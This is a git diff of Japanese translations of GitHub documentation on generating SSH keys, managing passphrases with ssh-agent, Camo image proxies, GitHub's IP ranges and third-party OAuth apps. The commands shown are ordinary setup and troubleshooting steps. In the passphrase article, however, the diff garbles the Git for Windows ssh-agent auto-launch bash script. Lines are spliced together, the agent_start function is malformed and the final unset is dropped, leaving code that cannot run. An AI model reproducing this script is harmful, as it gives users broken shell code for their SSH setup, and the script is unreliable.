+++ b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
@@ -1,6 +1,6 @@
 ---
-title: Generating a new SSH key and adding it to the ssh-agent
-intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.'
+title: 新しい SSH キーを生成して ssh-agent に追加する
+intro: 既存の SSH キーをチェックした後、新しい SSH キーを生成して認証に使用し、ssh-agent に追加できます。
 redirect_from:
   - /articles/adding-a-new-ssh-key-to-the-ssh-agent
   - /articles/generating-a-new-ssh-key
@@ -16,6 +16,7 @@ topics:
   - SSH
 shortTitle: Generate new SSH key
 ---
+
 ## About SSH key generation
 
 If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/github/authenticating-to-github/checking-for-existing-ssh-keys)."
@@ -27,10 +28,10 @@ If you want to use a hardware security key to authenticate to {% data variables.
 {% endif %}
 If you don't want to reenter your passphrase every time you use your SSH key, you can add your key to the SSH agent, which manages your SSH keys and remembers your passphrase.
 
-## Generating a new SSH key
+## 新しい SSH キーを生成する
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Paste the text below, substituting in your {% data variables.product.product_name %} email address.
+2. 以下のテキストを貼り付けます。メールアドレスは自分の {% data variables.product.product_name %} メールアドレスに置き換えてください。
     {% ifversion ghae %}
     <!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
   ```shell
@@ -42,7 +43,7 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   ```
   {% note %}
 
-  **Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use:
+  **注釈:** Ed25519 アルゴリズムをサポートしないレガシーシステムを使用している場合は、以下を使用します。
   ```shell
    $ ssh-keygen -t rsa -b 4096 -C "<em>your_email@example.com</em>"
   ```
@@ -54,7 +55,7 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   ```shell
   > Generating public/private <em>algorithm</em> key pair.
   ```
-3. When you're prompted to "Enter a file in which to save the key," press Enter. This accepts the default file location.
+3. 「Enter a file in which to save the key」というメッセージが表示されたら、Enter キーを押します。 これにより、デフォルトのファイル場所が受け入れられます。
 
   {% mac %}
 
@@ -80,36 +81,36 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
 
   {% endlinux %}
 
-4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
+4. プロンプトで、安全なパスフレーズを入力します。 For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
   ```shell
   > Enter passphrase (empty for no passphrase): <em>[Type a passphrase]</em>
   > Enter same passphrase again: <em>[Type passphrase again]</em>
   ```
 
-## Adding your SSH key to the ssh-agent
+## SSH キーを ssh-agent に追加する
 
-Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source.</span>
+Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">エージェントに SSH キーを追加する際、デフォルトの macOS の `ssh-add` コマンドを使用してください。[macports](https://www.macports.org/)、[homebrew](http://brew.sh/)、またはその他の外部ソースによってインストールされたアプリケーションは使用しないでください。</span>
 
 {% mac %}
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain.
+2. macOS Sierra 10.12.2 以降を使用している場合は、`~/.ssh/config` ファイルを修正して、キーが自動で ssh-agent に読み込まれ、キーチェーンにパスフレーズが記憶されるようにする必要があります。
 
-    * First, check to see if your `~/.ssh/config` file exists in the default location.
+    * まず、`~/.ssh/config` ファイルがデフォルトの場所にあるかどうかを確認します。
 
       ```shell
       $ open ~/.ssh/config
       > The file /Users/<em>you</em>/.ssh/config does not exist.
       ```
 
-    * If the file doesn't exist, create the file.
+    * ファイルがない場合は、ファイルを作成します。
 
       ```shell
       $ touch ~/.ssh/config
       ```
 
-    * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup. 
+    * `~/.ssh/config` ファイルを開き、以下の行が含まれるようにファイルを変更します。 SSH キーファイルの名前またはパスがサンプルコードと異なる場合は、現在の設定に一致するようにファイル名またはパスを変更してください。
 
       ```
       Host *
@@ -120,10 +121,10 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
      {% note %}
 
-     **Note:** If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line.
-  
+     **注釈:** キーにパスフレーズを追加しない場合は、`UseKeychain` 行を省略してください。
+
      {% endnote %}
-     
+
       {% mac %}
       {% note %}
 
@@ -142,18 +143,18 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
       {% endnote %}
       {% endmac %}
-  
-3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+
+3. SSH 秘密鍵を ssh-agent に追加して、パスフレーズをキーチェーンに保存します。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    ```shell
    $ ssh-add -K ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
   ```
   {% note %}
 
-  **Note:** The `-K` option is Apple's standard version of `ssh-add`, which stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `-K` option. 
+  **Note:** The `-K` option is Apple's standard version of `ssh-add`, which stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. キーにパスフレーズを追加しない場合は、`-K` オプションを指定せずにコマンドを実行します。
 
-  If you don't have Apple's standard version installed, you may receive an error. For more information on resolving this error, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)."
-  
-  In MacOS Monterey (12.0), the `-K` and `-A` flags are deprecated and have been replaced by the `--apple-use-keychain` and `--apple-load-keychain` flags, respectively. 
+  Apple の標準バージョンをインストールしていない場合は、エラーが発生する場合があります。 このエラーの解決方法についての詳細は、「[エラー: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)」を参照してください。
+
+  In MacOS Monterey (12.0), the `-K` and `-A` flags are deprecated and have been replaced by the `--apple-use-keychain` and `--apple-load-keychain` flags, respectively.
 
   {% endnote %}
 
@@ -165,14 +166,14 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.desktop.windows_git_bash %}
 
-1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually:
+1. ssh-agent が実行されていることを確認します. 「[SSH キーパスフレーズで操作する](/articles/working-with-ssh-key-passphrases)」の「ssh-agent を自動起動する」の手順を使用するか、手動で開始できます。
   ```shell
   # start the ssh-agent in the background
   $ eval "$(ssh-agent -s)"
   > Agent pid 59566
   ```
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. SSH プライベートキーを ssh-agent に追加します。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
 3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
@@ -183,7 +184,7 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. SSH プライベートキーを ssh-agent に追加します。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
 3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
@@ -201,7 +202,7 @@ If you are using macOS or Linux, you may need to update your SSH client or insta
   ```shell
   $ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "<em>your_email@example.com</em>"
   ```
-  
+
   {% ifversion not ghae %}
   {% note %}
 
@@ -248,10 +249,10 @@ If you are using macOS or Linux, you may need to update your SSH client or insta
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About SSH](/articles/about-ssh)"
-- "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)"
+- 「[SSHについて](/articles/about-ssh)」
+- [SSH キーのパスフレーズを使う](/articles/working-with-ssh-key-passphrases)
 {%- ifversion fpt or ghec %}
 - "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
 {%- endif %}
diff --git a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/index.md b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/index.md
index f052a1f3f4..9e58c5ab35 100644
--- a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/index.md
+++ b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/index.md
@@ -1,5 +1,5 @@
 ---
-title: Connecting to GitHub with SSH
+title: GitHub に SSH で接続する
 intro: 'You can connect to {% data variables.product.product_name %} using the Secure Shell Protocol (SSH), which provides a secure channel over an unsecured network.'
 redirect_from:
   - /key-setup-redirect
diff --git a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
index f9dfd3f00c..62764f2a15 100644
--- a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
+++ b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
@@ -1,6 +1,6 @@
 ---
-title: Working with SSH key passphrases
-intro: You can secure your SSH keys and configure an authentication agent so that you won't have to reenter your passphrase every time you use your SSH keys.
+title: SSH キーのパスフレーズを使う
+intro: SSH キーを使用するたびにパスフレーズを再入力する必要がないように、SSH キーを保護し、認証エージェントを設定できます。
 redirect_from:
   - /ssh-key-passphrases
   - /working-with-key-passphrases
@@ -16,11 +16,12 @@ topics:
   - SSH
 shortTitle: SSH key passphrases
 ---
-With SSH keys, if someone gains access to your computer, they also gain access to every system that uses that key. To add an extra layer of security, you can add a passphrase to your SSH key. You can use `ssh-agent` to securely save your passphrase so you don't have to reenter it.
 
-## Adding or changing a passphrase
+SSH キーにより、誰かがあなたのコンピュータにアクセスすると、そのキーを使用するすべてのシステムにもアクセスすることになります。 セキュリティをさらに強化するには、SSH キーにパスフレーズを追加します。 パスフレーズを安全に保存するために `ssh-agent` を使用すると、パスフレーズを再入力する必要がありません。
 
-You can change the passphrase for an existing private key without regenerating the keypair by typing the following command:
+## パスフレーズを追加または変更する
+
+次のコマンドを入力して、鍵ペアを再生成せずに既存の秘密鍵のパスフレーズを変更できます:
 
 ```shell
 $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
@@ -31,13 +32,13 @@ $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
 > Your identification has been saved with the new passphrase.
 ```
 
-If your key already has a passphrase, you will be prompted to enter it before you can change to a new passphrase.
+鍵にすでにパスフレーズがある場合は、新しいパスフレーズに変更する前にそれを入力するように求められます。
 
 {% windows %}
 
-## Auto-launching `ssh-agent` on Git for Windows
+## Git for Windows で `ssh-agent` を自動的に起動する
 
-You can run `ssh-agent` automatically when you open bash or Git shell. Copy the following lines and paste them into your `~/.profile` or `~/.bashrc` file in Git shell:
+bash または Git シェルを開いたときに、`ssh-agent` を自動的に実行できます。 以下の行をコピーして Git シェルの `~/.profile` または `~/.bashrc` ファイルに貼り付けます:
 
 ``` bash
 env=~/.ssh/agent.env
@@ -53,25 +54,27 @@ agent_load_env
 # agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
 agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
 
-if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
+"$env" >| /dev/null ; }
+
+agent_start () {
+    (umask 077; ssh-agent >| "$env")
+    . "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
     agent_start
     ssh-add
 elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
     ssh-add
 fi
-
-unset env
 ```
 
-If your private key is not stored in one of the default locations (like `~/.ssh/id_rsa`), you'll need to tell your SSH authentication agent where to find it. To add your key to ssh-agent, type `ssh-add ~/path/to/my_key`. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)"
+秘密鍵がデフォルトの場所 (`~/.ssh/id_rsa` など) に保存されていない場合は、SSH 認証エージェントにその場所を指定する必要があります。 キーを ssh-agent に追加するには、`ssh-add ~/path/to/my_key` と入力します。 詳細は「[新しい SSH キーを生成して ssh-agent に追加する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)」を参照してください。
 
 {% tip %}
 
-**Tip:** If you want `ssh-agent` to forget your key after some time, you can configure it to do so by running `ssh-add -t <seconds>`.
+**ヒント:** しばらくしてから、`ssh-agent` からキーを消去する場合、`ssh-add -t<seconds>` を実行して、キーを設定することができます。
 
 {% endtip %}
 
-Now, when you first run Git Bash, you are prompted for your passphrase:
+最初に Git Bash を実行するとき、パスフレーズを求められます:
 
 ```shell
 > Initializing new SSH agent...
@@ -81,28 +84,28 @@ Now, when you first run Git Bash, you are prompted for your passphrase:
 > Welcome to Git (version <em>1.6.0.2-preview20080923</em>)
 >
 > Run 'git help git' to display the help index.
-> Run 'git help <command>' to display help for specific commands.
+> 「git help <command>」を実行して、特定のコマンドのヘルプを表示します。
 ```
 
-The `ssh-agent` process will continue to run until you log out, shut down your computer, or kill the process.
+`ssh-agent` プロセスは、ログアウトするか、コンピュータをシャットダウンするか、プロセスを強制終了するまで実行され続けます。
 
 {% endwindows %}
 
 {% mac %}
 
-## Saving your passphrase in the keychain
+## パスフレーズをキーチェーンに保存する
 
-On Mac OS X Leopard through OS X El Capitan, these default private key files are handled automatically:
+OS X El Capitan を介する Mac OS X Leopard では、これらのデフォルトの秘密鍵ファイルは自動的に処理されます。
 
 - *.ssh/id_rsa*
 - *.ssh/identity*
 
-The first time you use your key, you will be prompted to enter your passphrase. If you choose to save the passphrase with your keychain, you won't have to enter it again.
+初めてキーを使用するときは、パスフレーズを入力するよう求められます。 キーチェーンと一緒にパスフレーズを保存することを選択した場合は、もう一度入力する必要はありません。
 
-Otherwise, you can store your passphrase in the keychain when you add your key to the ssh-agent. For more information, see "[Adding your SSH key to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
+それ以外の場合は、鍵を ssh-agent に追加するときに、パスフレーズをキーチェーンに格納できます。 詳細は「[SSH キーを ssh-agent に追加する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)」を参照してください。
 
 {% endmac %}
 
-## Further reading
+## 参考リンク
 
-- "[About SSH](/articles/about-ssh)"
+- 「[SSHについて](/articles/about-ssh)」
diff --git a/translations/ja-JP/content/authentication/index.md b/translations/ja-JP/content/authentication/index.md
index 4e209b3382..228c41526a 100644
--- a/translations/ja-JP/content/authentication/index.md
+++ b/translations/ja-JP/content/authentication/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authentication
-intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
+title: 認証
+intro: '{% ifversion not ghae %}2 要素認証、{% endif %}SSH{% ifversion not ghae %}、{% endif %}コミット署名検証などの機能を使用して、アカウントとデータを安全に保ちます。'
 redirect_from:
   - /categories/56/articles
   - /categories/ssh
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
index 23e2375a3b..b8ef5061c7 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
@@ -14,15 +14,16 @@ topics:
   - Identity
   - Access management
 ---
-To host your images, {% data variables.product.product_name %} uses the [open-source project Camo](https://github.com/atmos/camo). Camo generates an anonymous URL proxy for each file which hides your browser details and related information from other users. The URL starts `https://<subdomain>.githubusercontent.com/`, with different subdomains depending on how you uploaded the image. 
+
+画像をホストするために、{% data variables.product.product_name %}は[オープンソースプロジェクトの Camo](https://github.com/atmos/camo) を使用します。 Camo generates an anonymous URL proxy for each file which hides your browser details and related information from other users. URL は `https://<subdomain>.githubusercontent.com/` で始まり、画像のアップロード方法に応じて異なるサブドメインがあります。
 
 Videos also get anonymized URLs with the same format as image URLs, but are not processed through Camo. This is because {% data variables.product.prodname_dotcom %} does not support externally hosted videos, so the anonymized URL is a link to the uploaded video hosted by {% data variables.product.prodname_dotcom %}.
 
 Anyone who receives your anonymized URL, directly or indirectly, may view your image or video. To keep sensitive media files private, restrict them to a private network or a server that requires authentication instead of using Camo.
 
-## Troubleshooting issues with Camo
+## Camoでの問題のトラブルシューティング
 
-In rare circumstances, images that are processed through Camo might not appear on {% data variables.product.prodname_dotcom %}. Here are some steps you can take to determine where the problem lies.
+まれな状況下において、Camoによって処理された画像が{% data variables.product.prodname_dotcom %}に表示されないことがあります。 問題のありかを判断するために利用できる手順を以下に示します。
 
 {% windows %}
 
@@ -34,12 +35,12 @@ Windows users will either need to use the Git PowerShell (which is installed alo
 
 {% endwindows %}
 
-### An image is not showing up
+### 画像が表示されない
 
 If an image is showing up in your browser but not on {% data variables.product.prodname_dotcom %}, you can try requesting it locally.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. `curl` を使って画像ヘッダをリクエストしてください。
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -49,20 +50,20 @@ If an image is showing up in your browser but not on {% data variables.product.p
   > Server: Google Frontend
   > Content-Length: 6507
   ```
-3. Check the value of `Content-Type`. In this case, it's `image/x-png`.
-4. Check that content type against [the list of types supported by Camo](https://github.com/atmos/camo/blob/master/mime-types.json).
+3. `Content-Type` の値を確認してください。 ここでは `image/x-png` です。
+4. コンテントタイプは[Camo がサポートするタイプのリスト](https://github.com/atmos/camo/blob/master/mime-types.json)で確認してください。
 
-If your content type is not supported by Camo, you can try several actions:
-  * If you own the server that's hosting the image, modify it so that it returns a correct content type for images.
-  * If you're using an external service for hosting images, contact support for that service.
-  * Make a pull request to Camo to add your content type to the list.
+コンテントタイプが Camo でサポートされていない場合、試せることがいくつかあります:
+  * 画像をホストしているサーバーを自分で所有しているなら、画像の適切なコンテントタイプを返すように修正してください。
+  * 画像を外部のサービスでホストしているなら、そのサービスのサポートに連絡してください。
+  * Camo にプルリクエストを送り、コンテントタイプをリストに追加してもらってください。
 
-### An image that changed recently is not updating
+### 最近変更した画像が更新されない
 
-If you changed an image recently and it's showing up in your browser but not {% data variables.product.prodname_dotcom %}, you can try resetting the cache of the image.
+最近変更した画像がブラウザでは表示され、{% data variables.product.prodname_dotcom %}では表示されない場合、その画像のキャッシュをリセットしてみることができます。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. `curl` を使って画像ヘッダをリクエストしてください。
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -72,29 +73,29 @@ If you changed an image recently and it's showing up in your browser but not {%
   > Server: Jetty(8.y.z-SNAPSHOT)
   ```
 
-Check the value of `Cache-Control`. In this example, there's no `Cache-Control`. In that case:
-  * If you own the server that's hosting the image, modify it so that it returns a `Cache-Control` of `no-cache` for images.
-  * If you're using an external service for hosting images, contact support for that service.
+`Cache-Control`の値を確認してください。 この例では`Cache-Control`はありません。 その場合:
+  * 画像をホストしているサーバを自分で保有しているなら、画像に対する `Cache-Control` に `no-cache` を返すように修正してください。
+  * 画像を外部のサービスでホストしているなら、そのサービスのサポートに連絡してください。
 
- If `Cache-Control` *is* set to `no-cache`, contact {% data variables.contact.contact_support %} or search the {% data variables.contact.community_support_forum %}.
+ `Cache-Control` *が* `no-cache` に設定されている場合は、{% data variables.contact.contact_support %} にお問い合わせいただくか、{% data variables.contact.community_support_forum %} を検索してください。
 
-### Removing an image from Camo's cache
+### Camoのキャッシュから画像を削除する
 
-Purging the cache forces every {% data variables.product.prodname_dotcom %} user to re-request the image, so you should use it very sparingly and only in the event that the above steps did not work.
+キャッシュをパージすれば、すべての{% data variables.product.prodname_dotcom %}ユーザは画像をリクエストし直すようになるので、この方法はごく控えめに使うべきであり、これまでに述べたステップがうまく働かなかった場合にかぎるべきです。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Purge the image using `curl -X PURGE` on the Camo URL.
+1. Camo の URL に対して `curl -X PURGE` を使い、画像をパージしてください。
   ```shell
   $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223....
   > {"status": "ok", "id": "216-8675309-1008701"}
   ```
 
-### Viewing images on private networks
+### プライベートネットワークでの画像の表示
 
-If an image is being served from a private network or from a server that requires authentication, it can't be viewed by {% data variables.product.prodname_dotcom %}. In fact, it can't be viewed by any user without asking them to log into the server.
+画像がプライベートネットワークや、認証を要求するサーバから提供されている場合、{% data variables.product.prodname_dotcom %}では表示できません。 実際のところ、その画像はユーザにサーバへのログインを求めなければ表示されません。
 
-To fix this, please move the image to a service that is publicly available.
+この問題を修正するには、その画像をパブリックにアクセスできるサービスに移してください。
 
-## Further reading
+## 参考リンク
 
-- "[Proxying user images](https://github.com/blog/1766-proxying-user-images)" on {% data variables.product.prodname_blog %}
+- {% data variables.product.prodname_blog %}の[ユーザの画像のプロキシ処理](https://github.com/blog/1766-proxying-user-images)
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
index 480901f678..86138383fb 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub's IP addresses
-intro: '{% data variables.product.product_name %} serves applications from multiple IP address ranges, which are available using the API.'
+title: GitHubのIPアドレスについて
+intro: '{% data variables.product.product_name %}は複数のIPアドレスの範囲からアプリケーションを提供します。この範囲は、APIを通じて取得できます。'
 redirect_from:
   - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist
   - /categories/73/articles
@@ -19,7 +19,7 @@ topics:
 shortTitle: GitHub's IP addresses
 ---
 
-You can retrieve a list of {% data variables.product.prodname_dotcom %}'s IP addresses from the [meta](https://api.github.com/meta) API endpoint. For more information, see "[Meta](/rest/reference/meta)."
+{% data variables.product.prodname_dotcom %}のIPアドレスのリストは、[メタ](https://api.github.com/meta)APIエンドポイントから取得できます。 詳しい情報については、「[メタ](/rest/reference/meta)」を参照してください。
 
 {% note %}
 
@@ -29,12 +29,12 @@ You can retrieve a list of {% data variables.product.prodname_dotcom %}'s IP add
 
 These IP addresses are used by {% data variables.product.prodname_dotcom %} to serve our content, deliver webhooks, and perform hosted {% data variables.product.prodname_actions %} builds.
 
-These ranges are in [CIDR notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). You can use an online conversion tool such as this  [CIDR / VLSM Supernet Calculator](http://www.subnet-calculator.com/cidr.php) to convert from CIDR notation to IP address ranges.
+これらの範囲は[CIDR表記](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)になっています。 [CIDR / VLSM Supernet Calculator](http://www.subnet-calculator.com/cidr.php)のようなツールを使って、CIDR表記をIPアドレスの範囲に変換できます。
 
-We make changes to our IP addresses from time to time. We do not recommend allowing by IP address, however if you use these IP ranges we strongly encourage regular monitoring of our API.
+We make changes to our IP addresses from time to time. IP アドレスによる許可はお勧めしませんが、これらの IP 範囲を使用する場合は、API を定期的にモニタリングすることを強くお勧めします。
 
-For applications to function, you must allow TCP ports 22, 80, 443, and 9418 via our IP ranges for `github.com`.
+アプリケーションが機能するためには、`github.com`のIPの範囲についてTCPポートの22、80、443、9418を許可しなければなりません。
 
-## Further reading
+## 参考リンク
 
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"
+- [接続の問題のトラブルシューティング](/articles/troubleshooting-connectivity-problems)
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
index e70e25bdd2..878fecd974 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting with third-party applications
-intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+title: サードパーティアプリケーションと接続する
+intro: '{% data variables.product.product_name %}のアイデンティティを、OAuth を使うサードパーティのアプリケーションに接続できます。 これらのアプリケーションを認可する際には、そのアプリケーションを信頼するか、誰が開発したのか、そのアプリケーションがどういった種類の情報にアクセスしたいのかを確認すべきです。'
 redirect_from:
   - /articles/connecting-with-third-party-applications
   - /github/authenticating-to-github/connecting-with-third-party-applications
@@ -15,63 +15,64 @@ topics:
   - Access management
 shortTitle: Third-party applications
 ---
-When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
 
-## Contacting the application developer
+サードパーティアプリケーションが {% data variables.product.product_name %} ログインであなたを識別したい場合、そのアプリケーションの開発者の連絡先情報と、リクエストされている情報のリストのページが表示されます。
 
-Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
+## アプリケーション開発者に連絡する
 
-![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
+アプリケーションは、{% data variables.product.product_name %} 以外のサードパーティにより開発されているため、アプリケーションがアクセスを要求しているデータをどう使うかについて、私たちは正確に把握していません。 アプリケーションについて、質問や懸念がある場合は、ページ上部の開発者情報を使って、アプリケーション管理者に連絡できます。
 
-If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
+![{% data variables.product.prodname_oauth_app %}オーナー情報](/assets/images/help/platform/oauth_owner_bar.png)
 
-![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
+開発者が情報を入力している場合は、ページの右側に、アプリケーションの詳細情報や関連ウェブサイトが表示されます。
 
-## Types of application access and data
+![OAuth アプリケーションの情報とウェブサイト](/assets/images/help/platform/oauth_app_info.png)
 
-Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
+## アプリケーションのアクセスとデータのタイプ
 
-- **Read access** only allows an application to *look at* your data.
-- **Write access** allows an application to *change* your data.
+アプリケーションは、{% data variables.product.product_name %}のデータに対して*読み取り*または*書き込み*アクセスを持つことができます。
 
-### About OAuth scopes
+- **読み取りアクセス**は、アプリケーションに対してデータを*見る*ことのみを許可します。
+- **書き込みアクセス**は、アプリケーションに対してデータを*変更*することを許可します。
 
-*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
+### OAuth のスコープについて
 
-When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+*スコープ*は、アプリケーションがパブリックおよび非パブリックのデータへのアクセスをリクエストできる権限について名前を付けたグループです。
+
+{% data variables.product.product_name %} と統合するサードパーティアプリケーションを使用したい場合、そのアプリケーションは、データに対してどういった種類のアクセスが必要になるのかをあなたに通知します。 アプリケーションにアクセスを許可すれば、アプリケーションはあなたの代わりにデータの読み取りや変更といったアクションを行えるようになります。 たとえば `user:email` スコープをリクエストするアプリケーションを使用したい場合、そのアプリケーションはあなたのプライベートのメールアドレスに対してリードオンリーのアクセスを持つことになります。 For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
 
 {% tip %}
 
-**Note:** Currently, you can't scope source code access to read-only.
+**メモ:** 現時点では、ソースコードへのアクセスのスコープをリードオンリーにすることはできません。
 
 {% endtip %}
 
-### Types of requested data
+### リクエストされるデータの種類
 
-There are several types of data that applications can request.
